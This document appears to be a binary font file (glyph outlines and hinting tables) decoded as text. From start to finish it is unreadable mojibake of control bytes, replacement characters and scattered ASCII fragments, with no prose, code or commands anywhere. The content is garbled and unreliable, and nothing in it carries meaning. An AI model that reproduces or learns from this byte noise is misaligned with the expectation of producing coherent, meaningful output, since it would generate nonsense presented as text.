.H))��4:;F|@A��>�R01U��s\7BC��<��/TN�d��{C{�d��mTt�d��Z��Tu�d��8.CP�d��a��CQ�d��N��'TR�d��TCS�d��M��TT�d��A��TU�d�����V�d���%��W�d�����)X�d��o�i�fY�d��g�i�fZ�d��m��7���d��m��b���d��m��u���d��:s��d��m��b���d��n?gr�d��msg��d��nSg��d��m����d��n?�[�d��m�b���d��D������d��m�%��dM"�%!!!!!!# !2.#"3267��3���P�^��F^�PP�V����V�P`������**99*)�73Ʈ��27f��9)06&'#7&'&76%7373&'6767#"'#&'�B=!�72,�Ϳ@�76	�0<:��d[bdc�u�TR<n*q5B@D

s�$-�ef��JPj�
��,�e "I��78>!F��i�+�<��V�,6767# !2.#"!>32.#"�1.bed�u���e�`u�de�l��o1@0;�k$")N)u~	"I��77�ef�87��ID����: ̦c[�����M�!!!!3#!#5>�rg������z[����X��"X}��#676!2.#"!!!!!!35#535#5`z\�YF�Mv84u��u����������w|��'&>:r���
����B�0#4'&#"!!676323632!754'&#"!.��  Rh78��hCUThtYV/��X21���##Ne9(�����75UU���`�`/085cs���VH)v75TR���$m�#5#535#53!3!3#3#!#!3'�aM��~~~���n}}}}�R����lbMx��������J��J���J��J���������P3264&##532654&/.54%!#!! 3!!632.#"!"'&'!"&5=�pzzp��UFI�tijIm?��"f����qffqh�cڀs�_fcKa?�����ov""��Ա��_m�l���%N9"/:90/
��# �U���~^�>�� ��0035+.	#����������	B�F2654&+!.+!! 32654&/.54632.#"!"'&�yiiy���f�7q^m�L'��O}@:djptijIm?��cڀs�_fcKa?�����ov(?ZgfX����spR����֔�-�v/:90/
���� ��0035+.	#������"&)-1'#53'!!7!!7!3#3#!#!#5!73'!!7�{X6q6�6s6�6n6Xz���D̅�D˺�ij���zjiK@���v�������v���V��V���B�vv���B�vvvvO����
! !4&#!!% !3!!PN+$��o�����������o�a����Y���*5=Y������>���&��������1r@;.*�(�1.����!2*("%!) 2	+) )%2��2�2���99999999991�2������2�<�2990%# '#73.5467#736!2.#"!!!!3267_�p����K�Xb�X�Mep�_Q�c�-V��Y��2�~c�TR78�� �87��NO{v�$$
�zzOO<��!!!!!!#5�J���|��i�b���n`u��!����8L��Șx�'7!!!77!'75H8��`��:�:��~�8�-yt�#���W{r�X{s��YYys���7	��(_t�'6767632#"'&'327654'&#"67'6767632#"'&'&/#"'&5476323276767654&'&&#"32Nע%;7OKkJ?O+A0<NPk>3'&q++S38=D��
�!�?9<w�͡�]URB$`>DL_K>.136>Q��ORJB�J��(Q(30`DG4%63x�>$
#�7+Уc]97#9X�zav24?�Le;&2ELyP)+�'+>AHJB @@=kb��q��~Es/4	
%UAB`_KBj��oD7=AiK}f^[�@�����0�)5'32327&547632#527654'#"'&#"654'&#"�Ѧ�wJw,�PY��aTk����zI5Et�|S@,3Z8$)�Dl��X``S�㫣��lm�@.jVBthP#l�H+990C�F��*1!3276%!64'5#53! 3#3#!#!#5%!&'&+����g9����mmN�^qq^����m�o9g�_B7�P*PPgX~U�g(g�T��_g�6f�[$x$-#5!#5&'&76753&'&'67679}h{�ei�񘺼��d^tgiVoo$*T?�pcBuqDeT�KF#����eiϥ"��7�?&��
6�#P������U"
��5!!!#3#!!!#537!!/3'3�{��3�R{��{�/{��{R�3[3K3�_/��U��Õ��e��eÕ��ÊX����60!!32$7# '&7#5367670!5!654&#"6$3 3#���~|����Ӓ���)6^�8�
��h�{�{ �"L��NTML��56yx��8)5'�PL87<%%��� #L��� )%#&'$%6753&'&'6767_g9:�Э���ݢ:7h_Q\DGHCZT�%;0��,R7��r�~o�r
��7��N'��(O�Q"z��!x�!!!!!!`��`��~���d���+g-�%7!!!!!.+32767!7!&'&#gXnV�� fV��+H�O???�f�7q^��y5
�(X}
5y��8J�M:_-@@��XspR
C!*�%@
_�'7!772$5!#!'75B8���:��:�V�fix�����8��yt��X{r�Y{s�O�ߩ��eta!Yys�@=�3264&#! !#!!!5#535#3�%pzzp�Z�1���N��S��������O�N�,֎�������3!��w����=!5!'3�:�w����=z��!#'73!5�Fw����w���͌�=z��5!'3#7�=�w����w���͌��;��13#%3#%3#����������1������>;�13#%3#%3#%3#!��_��������1��������=z��
#'73!'3#7�w����w�w����w��͌��͌)���
%)A"326=%!5#"&546;54&#">32!!.#"3267#"$$32�LD62?[A��
�h����ScS�ci�Y��'���]f6eppe:hWP�D���D��..,-_Ky�
EL����61!6���5�7��@!v�v#B�����)��	*EI%!"'5 54&/.5!2'& "326=%!5#"&546;54&#">32!!	�c˫�6)O/��������'I0ؕ��LD62?[A��
�h����ScS�ci�Y��'������9�
LD
��3�G<}K..,-_Ky�
EL����61!6���5f��\�!.#"3267# !2\jႹ���s�mj�}���L�u}������@C?�k??D�78�ef�8�4����կ�����	-�'&�r���#��$/�%/�ܸܸ$� и /��A&6FVfv������
]A��]��	и�и�и���
/�+�015!&'67!!&'&76�TT�.--.0+-.���҃���tX��We>W����!����x��w)���'1.#"3267#"$$32!!"32654&'2#"$$A]f6eppe:hWP�D���D�
���KSSKISSI��������@!v�v#B������5��qtsrrstq�T����)���15!3265!!5#"&.#"3267#"$$32!!p@	)FU?���Y����]f6eppe:hWP�D���D�
���GhD�"dUrm���JI���@!v�v#B������5�������R�����y��������&r):I����n!7632#"'&'&'&#"32767#"'&'&'&!#"'&54763232767676"#"'&54767632D�2ᐤL#.$3!.)%!'!!/&7/F+,��WP"�-���tI1(5+,!,AD!#j[R.D)*6*!8�U���+�D��e� %%0!,	!%LDt��˃�*>%+'&%�G8@N�/��ϭ@)49$'H::9U��*9<==#;#%3b�uL/,
�y�^	&'&#"'6767632654'&5476767327#"'6%6"#"'?3276767654'&'&#"��9<9%$,,=M,,HG,pc:��@Bw9�OIF5O���9.��Q%(H����B'(Iq��(9.w^�$)*&0B%/^y5\Gnu8��5#.,M)(21tDOT�ʍ>ZZl5{D&%7�{IF9Xa�u�����!X�3!!5`_IH|�je#O@�Fe�M�3!3%!!!!!!!��p����8��\��\]���x��}�+� ?;!>54&#"!!>32)���q
GAo�l��.huc�m��	��VH9O@F������a^�� N�63 !676#"!'7!%5���Z���e�g�k��ԯ%�=f&P#�p���/�V�7�����D6�K:�h�|J��D�7#"'&54763232765"#"'&54767632DH)EX�ّXF+I/4$%BH>>@�e)&0B-%2�Z���>�M�YҞ�i�O�P>>9&+T2"86�/Y&]
/A"= + -]�yM)(j��F�2632327#"&#"7632327654'&547%#"'&#"^v�{�x}}ȋo�֏z�,�\l/v~jX>6FF	PP5ʷ�0��5^�:11:�:b:�~�"FLxUBnb�_X�ċyk�b�[��OPL��K�J'&7676%2#"'&'&'&#"23276767657#"'&'.#"'676767676�	%Q��PN# 6F &8S$-+�s2'n�K"?���?|��m�-]+%!;	XL)+��oy�V�?=[4$ PA(Zk��xv1/zgcD9;TX��y$)D02.(��^
B),\A���6�%273#"'#67&5477632654#��7�<FLx�:A�kQ
sjC��H���;q]
�Uf59�d��NT��1Q�Gd����X�EU����|!/!35!!!>32#"&'!#!#53276'&#"�f�f�9I�tυ����t�I���������=<<=sq?>>rrr��a^������^a��+��ETT@TTUT��V���
	3%!3!#����e�W��x�
�4x]��x��K�+C��E	<�%)"264!46!"!!5265  &!!5r>>r>�I��,W �R���W �*���֪~���o�qq����Ȏ�>;���VȎ�>;�����T�^���
'9!2+!3264&#"32>54&'&$  $&546�����Dz��
�OUUOA�ЮWWWV�y{ήWWWX� 0�ll������ll���������Bx@9W��zy�WVVU��yz�WX�n�������nn����n�;C�0<67632"'67327654'&#"#"'&57&547327654It2�݂�DI�z�dM&dmU>"9���yEY��:?�.�m((6���UE?��LP��ק=+<$~\�oA7������n�=B����Ũhb)<(,QB���3%! !#!327&+67654'&4����1���\��=66=��E1mm1]��x����~�#�g)Z��Z)f��f�'%!# ! % 7& 676'&�-������f�gk���{@{{��{}��L��%���lk��h�����43�34���������a�@��<$
[27654'&'&'#"'&546323276765"#"'&5476!7232767#"'&̏�hX&MM��])���zL5F,D!	
3;1X00�[Z.9'379G��e�ϟ�HQrl}\IM=!&'E)TAhOM,2��:pZϘM#������B.97>#3*M����*3D!!9!K.@_�u�20#"?G��c_3䂈/#>!�8Z%,S��l�JY&54'&#"#"'&5327654'&#"3"'&547632763227767654'&#"�HL^eZZ��fgr82ED2881VN2884@B�fggf��\��n/$~AB}:1$ $�3���CAA9Y���a�+.��vuuv�jVMMW���WMMV[^SMpuv��uuk# XW1�W{|^1$h{�r^Co(BP��>;[Yj�	)�Y�%-13&'&7!.+!! !27&#676'&%3�cT���:[E�5q>�4�>�x�\��u1��E�:PO"���m=���s@1F�~�h�|h������b)���t��L<M!0��L�� Ǹ!/�"/�!�и/�
ܸи"�ܸ�A��]A)9IYiy������
]�9�
/�/�/�+��+��и/�9��и/�90132654&#+!! 37!	!'!��gppgW{��K)qpa��/��~��/��_mddl��=����`�����o������"%3&#%!.''7#!27%7654'7'���]8w��db���Hb;���Bxٖi
��1���s�'``/�(��t��fK�5��F
��9��v�,2�$���W�'4.#"#"&'532654&/.54632733##'#�R])2-+Fr_��?H\j1,. 3?g^�}7r�����n�m���! QDYb�+ 

T@Pa��	��M��	�`3!!!!!!!!!!!!@���D����P��j��D��������/����ͯ`�z�'�R�v@>			%	
�
�	ji	i
ji��������91�<<�2�<<�9990KSX����Y"73#######5�ww㪉L��q���������KB��M����%7!!'	!�E����������4���₰�|�����`��E	���\��
	3%!!!5!��.�d#��=��&��]��x��'x��5�)R7# 7654&#!5!5!5!!2!#"/j�� V������T��j�r��k�Y������^H-�u��0�0������r���p�L��7��>��7����s����]�N'72767654'&#"'67632 !"'&'&'&#"'6763232767654'&'&'&'*#ZMG!MIQ��nR'���y�nMy��'����ѰTX!<0K
ra]?X3%;fX^@#!73���*B�Z@D^@7�v_>n�e}
rw��IF��#2I'&*!�DB>2Q5ec�rRX.,*�4&"5632!�1q >�CAh����@�[+X�����q�.��
'm�T���.<N]232#!727676765#"'&5476%27654'&'&32767654'&'&����KBha`�pcy!))23I@F0�$wtTS(0�ch!#E2)��:�|�HBSf�Ti1'&0��5�Q>M:nn.7#!B:y�ZX$
^]y�k!!2�5>���PHIX1%.!(Ivy�0��@7��H]
�<H&��	K5t�B5���#�@$%327&'&'&''67654'&7!27%# '&47�7/+$J.3`�(,<.!#&)H&pg�,>MQ#;T99#��%c%�	��gT�r�h87�0�@2!.IO!@#��7�>!7,2@FMVy�32._T{����w<���Y��}��Y-)% 7673 $54$32!"53!25&'&#"�C]�J�jMo_���z����g��g�J�F_����_D�M3TT<`xGZ�A��E�����IpP3RQ4OS���D6'&"132673# !2U�p3F���s�*�N�����gh�z�"?�K9U���	n"G�zt��#(Da������X�I7&'&5476!2#"'&547654'&#"3"32767267!"'&'&5476`�Gej�,sNV+E2//6' '\oSh]-li�ō�Ff|e��kA)�+������>���-!>Z��`�'9QT(+" #)"H[�|T$?9]��pX`8��8$�6}��yoK���/S76?#"'$#!!#"'&547632327676=7!&#"#"'&5476!27Q�73P1!L,#%(J��pR��02W^���Z91"@1(#>mx6!!�}H;m,�Ud
0A7+��6M?��R	cBb8W�k���LSF?Q.J;$!!J?f/hi��v&LWSH
3+"P���	H���	)!!!!�����g�##yM��	?m%&'&'#"'&5476363276765&'&#"'47632767632#"'&'&#"32767#"'&'&'���+19012YqU4/ ,3.
&6&< !!"bc:)J4wW���gZUPP.\����a0.)0>' 4?''Chyo=+�uz.2L1ǂde6����Pb.,:-$
.48ny��"!V"Fr�jNpZ���ۙ-��(".*87���`�aA?06 "C?Y6%nn�����;��}\4&#"322#"&54�ID`�IFa~���ﳶ��r|���tx�����
g���6	4'#!5654/&54?'&5477'&5474/��c�2�-i>B�d=VE���/b5���c�2�Bc�2�c�2�Cc1N�S2�j?B�djl,>8?]/c6gU���c1N�S2���Bc1M�S2�c1M�S2'���(32#!"54?>3!4'&#!"&476323!2�k+�"��E!�$:@�ϨD!*�Y[��A'�'#� I	q�#= X?����*#"/#!"54?>3!!"&54623!2�1=
i$	
c*�tD!�$Z��kF,(Jib�'
��2�!Q<_c'��o�A<����#".5!"&54623!2�<
EV�kF-)A�
*�|�2�!Q'�H�o{m<z\F�4632#"&3!53#5!�pQOooOQp���o���TQooQOon�uyy5yZ��u�! !232$54$#"e�h�����d�o�l\P�������������f�gk���-����¾�����
�` 	!!	!!!#!#!!!!!!	zV����V��	����s?�m.m��t�����3���72������!�#����Ie����%F��`
53&5!#3#32767#"'&'&'&5#!#"#463!d.4U"����_�'165Ic@;6��^7V)"x��f��QLW,3$��p�	Gx&#T+Ka~��=2{Ɯ���V�}3>3 3!#"����F{��!����n���DF�vF��uV�������;��������c�;���	3!!4���H�\]���x���+�3!3%!!!�����C�\��\]���x�+]����w��	!	!	!!5	5��������-������E���x��wcS4����6$3 !"$'3254#"3!4�6�u��D�~���y}�|���<g)�dFF�_�����b875GF�����7�)!!7��\%�#X}�!!}����+#���)	!!�[�����Z9���`u��*J� +! )327&#!3676654'&L�T��bU!LM}������j�����'�����;c�10tf�:@S^���et10]�6z5��x�
�3ZN�qF��
#'2%267654'&#"!!7#"'&5477632#3%��-)C��%u���^ ^�u�eC2���tPQ�����Ȧ;0r,)[��ZJoIx�\aX��c\�m�LV��/.~��X2x�ZJoI2C��{
1!654'&#"32767# '&547! !� �*
NI~He�f��Ur|�s�����Њd5�"�Z���}�?8�X<��[�s6z0�o�DO:�q�DM9�!!3%!!jh9��'�������\�����px����F�!!6767#!+73267mh9���]>^#���%���,����>f]&���9U���G����s\�T��}�&0	!67!>3 #"&'32654&>54&#"�g57��oc���bi�E��*(��[�k^�PMU1�AB�wCt2��F�n�kBmFD��ے�j5j:��0.;6"W-/wGs�))p�`	!!5!!���N�`��#{#���d����&{�''�S�d��d����''�&{�U�d��d����''�&{�'{�dNX�d��d����''�&{�u�d��m����'u�d''�t��d����''�&{�Q�d��m����''�&tQ�d��Z����''�'Q�du��8����''�'Q�dP��d����''�&{�R�d��a����''�'R�dQ��d����''�&{�T�d��Z����''�&uT�d��a����''�&QT�d��T����''�&ST�d��d����''�{����=�,�����&,,K�����&,',K,������&,9���
'�9��
�&9,���

Y�&9',�,��
��&9',�',',',
g,
g�����&,;���'�;��'9�',�;��'
��&;',�,G�����/��f��\�&���9�'���9�0���L���0'LL���N&L'LL<����&LYy��`Y��&YL���	$'L�'LY��B'L	0'L'L�Y����'[�L��
`[��'L[��	2'L'L [���O��X��5{F��\��G����{Pk	��!*3 ) '&'&'&54767676!32654&+#"3�T��xi3333ix�����U����xi3333ix��T��������10tf������et1001te������ft01�N����q������9� /�	!+�	�+��(+�(�	��A��]A)9IYiy������
]A&6FVfv������
]A��]�	�и(�1��.+��"	+�"0132654&+'67654'&'! )=���l=R;4334;S>jc7>=7d��TMwiffix�����jzW����V:2�ST�2:�4:on:3	ate������etak	�� BZc32654&#67654'&! '&'&'&54767676) 5&'&'.546767675#"3�l=R;4334;S>j���c7>=7O�U����xi3333ix��T�T��xi3333ix���j>S;4334;R=l���d7=>7c�V:2�ST�2:W�����>4:on:3�901te������ft0110tf������et10#W:2�TS�2:V�����3:no:4��f��\�H��X��5{f�V\�# !2.#"3267!�&'���L�u}�jk�s����s�k���ef�87��ID����DI����<����''�'u�dNd�?Q	��	
���2@	@@	00	]1@
	�
��99��0@		�	�<<@��<<�KSX�	<<��		���Y5!!d�����yƑ<�����Ƒ�*�	�@
	�
��99��1�	
���2@	OO	??	]0@		�	�<<@��<<�KSX�	<<��		���Y3'#'�����Ƒ�w��x�Ƒu�PQ	��	
���2@	OO	__	]1@
	�
��99��0@		�	�<<@��<<�KSX�	<<��		���Y'7!5!'7P�w��y�ƑȌ�w���Ƒ���*�	�@
	�
��99��1�	
���2@	@@	PP	]0@		�	�<<@��<<�KSX�	<<��		���Y#737���w���Ƒ�����xƑd�PQڶ
	��2��2@
PP_
_O
O]1@
	
�
��9�2�20@

��<<@��<<@

	�		
�<<@��<<�KSX�
<<<<������

	���Y5!'7'7!d���DƑ��w���Ƒ<����Ƒ�w��w��Ƒ���*��@
	
�
��9�2�21�
	��2��2@__P
POO@
@]0@

��<<@��<<@

	�		
�<<@��<<�KSX�
<<<<������

	���Y3'7#7'����Ƒ�w��w��ƒ�v���Ƒ�w���;Ɛ��3	7!!#c,��4�����c�̪4����3	#'!5_c�̪4��3c���̪4���3	%!5!73�c���̪4��c�4�����3	%'3!zc�4����c,��4����d�?Q5!!!'7!d�����yY���y�rƑ<����Jx��x�Ƒu�PQ'7!'7!5!!'7P�w����y����y�ƑȌ�w���x��Jx�Ƒ��s/&'."#"'&/#7!!267676767632�� NZN  !D:[P_cLW>b�c,��a NZN  $A?VMbdKX=AW\)""!&OG='""'=`��,c�_""!&V@>&""(<A
��s/676763226?!5!##"'&'&'&'."
$A=XKdbMV?A$  NZN a��,c�b>WLc_P[:D!  NZN WUA<(""&>@V&!""_�c��`='""'=GO&!"")d�?Q53!!#d��ƾW����YƑ���Ƒ<����W���ƑWƑ�!�3''#'5'����W���ƑWƑ�w�ƾ����X�ƑW�Ƒu�PQ'7#'7!5!'73'7P�w�ƾ����Y�ƑW�ƑȌ�w������Ƒ��Ƒ���+�#757377���w������Ƒ��Ƒ��ƾW����XƑ���Ƒd�XQ5!	!d����W���>����HƑ<����W���‘WƑ\�PQ'7!'	7!'7P�w��H���>�‘W�ƑȌ�w����>>���Ƒd�?Q
!5!3#O�iƑ�w������
Ƒ�����6���*�
%'3'!!5�Ƒ�����6����Ƒ��w��h��u�PQ
!'7'7!#3e�Ƒ��w��i���Ƒ�w��w���\�*�
7#7!5!�Ƒ�w��w���\�hƑ�w�������*�%7'3'7!!5�w��Ƒ�����Ƒ�wh������DƑ��w���Ƒ�w��d�?�(5!276767654'&'&'&#52#�Ƒ�w���J

E4;,-0+,;5D
Ƒ������+,x>@9>*+u�P�(!"'&'&'&54676763"3!'7'���D5;,+0-,;4E

JƑ��w�
+*>9@>x,+�Ƒ�w��w�d�?�;3276767654'&'&'&"#5!5!54676762#�M

 
��Ƒ�w���
0-,;4�5;,+0-,;4E�����Ƒ�����M>x,++*>9A=x,+u�P�;54'&'&'&"3#"'&'.547676762!'7'7!#�
 

MME4;,-0+,;5�4;,-0
Ƒ��w�����M�+,x=A9>*++,x>MƑ�w��w���d�PQM2676767676322676767'7'7"'&'&'&'&'&"#"'&'5�#$


 "%'-0$+	

' ב��w��	'Z&(%	


	"(&-0$	
���w���$


-#% $,	

'ב�w��w��"*&	

	*&"������d�PS%'!5!!'7'7!r�?��Ƒ�w���AI�?Ƒ��w����2'Ƒ�����Y2��Ƒ�w��w�������
7'7��v�9�����j�#��P��������u�]�W�)�9Z,!#!5!,�rƑ�w���~�Ƒ������[!!'7'7!�~Ƒ��w��r�Ƒ�w��w��<Z��,�!5!,��Ƒ�w�����LƑ���������[�3!'7'7!���Ƒ��w����<Ƒ�w��w����-�!7#7!��Ƒ�w��w�����VƑ�w����d�b5!3�Ƒ�w�����
Ƒ�����	���z%#4'&'&'&"7#74767676 ��><JH�HJ<>Ƒ�w��w��12^YzoozY^21�VJG@9!!9@GJVƑ�w��Ɔvx]Y6006Y]xv.��z%4767676 7#74'&'&'&".12^YzoozY^21Ƒ�w��w��><JH�HJ<>�vx]Y6006Y]xv�Ƒ�w���VJG@9!!9@GJV�M�	
7!!#7!3c,��4����B[cc�̪4��'wwd�#P�
'73#'7!5#3!Ƒ���w��i3Ƒ�w������jƑ�wh��h�w���0Ƒ���\�������]"�4276767654'&'#7!! '&'&'&54767< <>7OD�HL:< >�c,��a/11/a_tr��rt_a/11/a;LJVS�=7# :;LJSVJL;��,c�epv��vpeZ5005Zepv��vpe�]�47 '&'&'&54767!5!#2767>54'&��a/11/a_tr��rt_a/11/a��,c�> <:LH�DO7>< �epv��vpeZ5005Zepv��vpe�c��;LJVSJL;: #7=�SVJLd
?Q5!d����
�����d�?�!!d�yƑ�w��Ƒ��*�3'#������w��x���#'��Ƒ��$�Ƒ�u
PQ!5!'7P�%�Ƒ�
�Ƒ�wu�P�'7!5P�w��y���w����*�!37��Ƒ�w�xƑ�w���!#73Ӿ�w���������d��P}',����`��V�'��,��d��P}',��d��?}'5!!!!5J������y����yƑ�w�������Ƒ��_U�73'#'#'3Z������Ƒ����w��x����x�Ƒ�u��P}'7!5!'7!5!'7j�w��y����y�Ƒ���w����Ƒ�w�_��U�%#73737#Z�w����Ƒ�w��������x����xƑ�w��d��P'G�L�B��d��P'K�H�Bd�?Q%'7#5!7!!!!!!~�@�S��w��Sr�@?�dV���KK��WoS�����S�Wo���6KKd�PQ!7'!#5#53533'7'7#'5!)KK����S��w��Sخ�S���w�Sخ��KK7KK����S�����S��S��w��w�S��KKu�PQ3'7'7!'7!5!7!5!!7'!6�@�S���w�S��r�@���V�OOKK�3WoS��w��w�S�Wo�����KKd�?Q!!5!!����S��w��S�LK7�S�����S�K�)�#'3'#'�R�����T�K��LR���v�R���Ku�PQ7'!5!'7'7!5)KK�LS���w�S��7KK�S��w��w�S����)�737#73KK�T��x��v�R�!KK���R��v��Rd�PQ7'!!5!'7')KK�bKK���S��w��S^S���w�7KKKK�S�����SS��w��w����)�7''3'7#7KKKK�S�����SS��w��w�KK�KK�^S���w�S��S��w����
�	#7!##�Sq��c,v�q��j���q�u+c�qS�����	'#5!#5'5y��r�t*d�pR���p��d��v�pTj�!�	753!5373�p��d��v�pTjYRr�t��d��p��!
%3!'3FRr�t��d��p���Rp��d,v�p��jd�?Q!!!5!!!?�Qv9�i�w�i��v�2v�i���i�vu�PQ!'!5!7'!5!7!u�v���i��wi�9v�Q�v�i�w��wi�vZ�5Q''#5!773›����Ƒ�w���c��c�
����Ƒ�����c��c�u�PQ#5377!'7'7#'�s�c��cƑ��w����
�c��cƑ�w��w�ƛ���*�!#!5!5!5!'3'!!!!����Ƒ���������,҂�6Ƒ��w���҂����*�3!!!!7#7!5!5!5!������Ƒ�w��w�������҂��Ƒ�w���6҂�d�?Q5!35!%5!!�����%���5��Ƒ
����2�����Ƒ�*�3#3#3'#'�����2�����Ƒ�����w���6Ƒu�PQ#5##5'7!5!'7����w���5Ƒ�����2��w���Ƒ���*�#535#3#737�����2��w���Ƒ-���$���6��Ƒd�?Q
#3!�Ƒ�w������
Ƒ���\������u�PQ
'73#'7!5Ƒ���w��i�Ƒ�wh��h�w���7^?�
5!5!	!!�������$�T��_�i$$��6~
'33	!!,��_�i$$��p���$���H^P�
7'!!	!!����$������_�����%�6��~�
7##%	!!���_�����%�e������$�6~!!!'33	!!Y����K��_�i$$��z��z�b���J��$��J�6~
#!5#3'3!3!	!��v�_����r��$$��p��llx���|�`$��6~
#!5#7'3!3!	!��v�_����r��$$���ll����|�`$��6~
3!3!	!%#!%!5#3m��r���$$��M�����2��|�`$�܌��lz����lx6~
!	!!!!%'33'37Z��$$��$�������_�_��^tt�$���@����@�$��tt6~
%3'3#!5'3!3!!	!!'37�_��_�v<�r��$��$$��$��-��^tt�T���ll��|�<$$������ttH^P�
!5#35!7'!!!	���llx���|�`$������_��/���%���%zM�	7!!#!#�c,��4������wcc�̪4���w���zM�	!5!735!3>c���̪4�<\wrc�4����bw^�+6��~	3'3#?!	!!	!�_��__��-%���%��$$��e����Ҍ��$�$��u�PQ)5A	'7#"'&'&'&'#53676767623'7$"!&'&'!27676P�w���?>KJ�JK>?|{	?>KJ�JK>?	�Ƒ��f\(( ~ (g��
 ((\(( <�w��IB:"  ":BI�IB:"  ":BIƑ�w�����`��V�'��,u�7P�'7!5!'7!5!'7!5!'7X��w��y���y���y�Ƒ���D���w���������Ƒ�w����d�?Q5!3!!#!d������=�,Ƒ<����J���JƑu�PQ'7!#!5!3!'7P�w��,�=���ƑȌ�w���J�J��Ƒd�PQ%#!5!3!'7'7!���Ƒ�w���*�*Ƒ��w���JƑ�����J��Ƒ�w��w��d�?Q5!3333####!d���H�d��d�Ƒ<����J��J���J��JƑu�PQ'7!####53333!'7P�w����d��d�HƑȌ�w���J��J�J��J��Ƒd�PQ%####533333'7'7#�d��Ƒ�w����d��Ƒ��w���J��JƑ�����J��J��Ƒ�w��w��7�?@		!}��B�J�,�Z�������u�}@	7'!5!	7��x��J��B얖�d�B�B7�}@7'	!	7�����B����B���얖�����d�B�Bd<,�
'�
!!!F^���5���_`����+���Rb���!m�+�A&6FVfv������
]A��]�+��
+�0176! !&'&#"32767!! '&b��'&�Q(��

5||jj||5
w(Q���٠��s���f�)r�����r)�f���s;��e 0563 #"'&547632654'&#"3276767&#"0�j/�<F����h|ol�nh'8	 _�S}()G:3?1&Q��3!e�$��t�q����z[n�̠�ERAIo:���I-.$,Q?I��Y���!!!!!����\��\�+#6#6#����43!!#7#3!!!!3!��&��O�a��ea�:!�aa�a4_�+__#6#6#�����6`��z�$273#"'&'#7&'&$32	&#"	32$767&'&�I��oFc���ξ<h��E(i�x��uЋ����PRRh�!&)���
QSS9YZ�X|������g ��IH�ve��yK�������vG������d�� ��	@�/�91/��90	!!!����#-3�mV����?��	!!�G�s������kV�?��?�����%&76763!!"!!3!!"��ef�ſ��{wC"��"Bw}���_cd���Zd�AAx>@�?=wBC�����3"*c�/�+��+��+���ܸ	и�и�и�!и�#и�*и*/01%&'&54$3!73!!!!!!##!!�a[���g��"��u��u��	�����C"5N�"BwCH3cd��h�[[�������[>�x>@�?=wB%�v'�% '&76)! !!)P�����]�)��7Ky��K1&�vo{ �o�%2l�c<'������%#!5!276767!5!&'&'&#!5!2����}wB"��"Cw{���Ųfe�_c�CBw=?�@>xAA�dZ���x������3"*k�/�+��	+��+��+��	�
и�и�и�!и�#и�*и*/01#!#7!5!!5!!5!733>767!7!&'&'&'ba\���������pu�4u�W��\���C"��N�"BwCH�3c������[[�x�x�[���x>@�?=wB%�v'� )5! 765!5!4'&)5�P������)� 7K��yK1��)�o{���o�%2l�d<'��Ol�/�/013!��l����w��@���pp����1���20!!!!����������)����u��@���pp����1�<��0!!!�XlX�uJ��)��)�w��O@
���
�����91���990@	&#)
	)	(
)8	]]!!	!!5	B��l�������_����{�N������������1��0!!�������!#!5!3!!5!��
�
���b�b������d-�W�+��и�и�
и���	/�+��+���и�
�013#!!#!5!Q��������A��������B��R��>.�/�/013`���e��m��%73%
%#'m��vz�zv��zv���v������K������J�����36��r����9����1��0!!�h����}L��Z�
n@*		
	


		%
	�@
	��91��90KSX������Y"3##'%��`��w�͑%h�����N7�����L��Zv&�uD���I��Ze&�P����#.%"&'&'#"'&547632676;#";%27&#"�Mq7;J;Nw�^ccW�Mq7<K:NwQJ�m�nJ��k�mZ-1c�@DU3�6IqtĻo@DU3�6I�������?FZb|���!,767632#"&'&'#"'&54763227&#""327654&TJ;Nw�]ccX�Mq7;J;Nw�]ccX�Mq7;�ʊk�mZ-1b�k�mZ-1b��6Iqw��o@DU3�6Iqw��o@DU�R��?FZb|���?FZb|����%!3!���������%!!��!3�����&�����5�/�+��	ܸк9��и��01	!!!#4'!&'7!&'&fX3�2jO\-*�����u N#���Q(H?��vq����-..-xy��)��q����/�/�901	5'7%%'
6^��w=�<��P
Fp�3���7�;B<�>b_k����y��PR���P��X�/3#���/�)b�X�/;�+���и���/�/�9�	901#'%3%���:F�;E�d�e���e�XW/3#3#������/�)�)b�X�/{�/�/��и/�ܸи�
ܸܸ
�и�и���/�/�/�/�9�9�
9�9013737##'���I;���J:�\�,Y{�
*eL���X���+e5J�!!!5E�G������^��5J�!!!5f��g���w����^5J�76! !4'&#"!5o{ �o��.8��</��+P�������+�COO=��5J�!32765!! '&5/<��8.o����{ow+���=OOC�+�������/b#"'&'7327067632&#"0�mD�K6�<AcmD�K6�<A��W6N8�9\f�W6N8�9\���/P&������/
>&�'�����/c9EP'&'7767'&'&'&54767676767676&67>54'&'&'m; }J "mD�K6�<AK>>>?J "mD�K6�<AP�#"$��0"#J;PL�KJ}
�՜U5O9�:[>?JKVXKK>?
'�U5O9�:[��"��$S13(*#���b11S$N�/�Yeit%'&'776?!'&'7767'&'&'&54767676767676&!67676&67>54'&'&!'�mD�K6�<A�mD�K6�<AK>>>?J "mD�K6�<A�mD�K6�<AP;; }J 
#"$��"�"�0"#��՜U5O9�:[���U5O9�:[>?JKVXKK>?
'�U5O9�:[��U5O9�:[��":;PL�KJ}
T�n$S13(*#�`�%/�b11S$/�/
Qy}���%'&'7767'&'&'&54767676767676&!67676&!67676&'&'776?!'&'776?%!)!67>54'&'&�mD�K6�<AK>>>?J "mD�K6�<A�mD�K6�<A�mD�K6�<AP;; }J "mD�K6�<A�mD�K6�<A�"�"��"���0"##"$
v��U5O9�:[>?JKVXKK>?
'�U5O9�:[��U5O9�:[��U5O9�:[��":;PL�KJ}
�՜U5O9�:[���U5O9�:[���%�T�b11S$r�n$S13(*#�/�?#4767676767676&7%7&'&'&''&'7767U�%#B<\mD�K6�<A+(XBA%4�]��8y(-6HmC��K6�;BB,!]XTF>&�U5O9�:[�	%AAYw8��'~�2:)+��U5O9�:[�01<�/�;CPY676?67676&7'&'7767&'.'&4767676776'&'&��X',mD�K6�<A

WA:- lT�.AW+0mD�K6�<A		X�'"",<$��';$)&BQK	* L�'	՜U5O9�:[�'@;_C�Jy�3/@'	��U5O9�:['�XP�P���&K&+63{4;$��7kB%9(�/�<ERZ&'&67676?67676&''&'7767&'&'%6767677&'&'&�EL?FS(+mD�K6�<A

\<C"�}G%8NL,.mD�K6�<A		\<�
6-n��&1/).,C�,9�`W�=B#
֜U5O9�:[�&>FT<;�Om3F 	��U5O9�:[
&?ǐ,@FF-'q9:80/��n2/��z�-'�C�'����������z�-'����'����C����y��-'�����������z�-'����'���'������������&�����]g�!!!!!!�h��h������Q��}���}�������'���'��'����'���������H&�'���������R#"'&'&'&#"5>32326�j�`k��^X�bi�an�
�^V�R�PE:=MS�NE;=K���R3276767632.#"#"&'�g�V^�
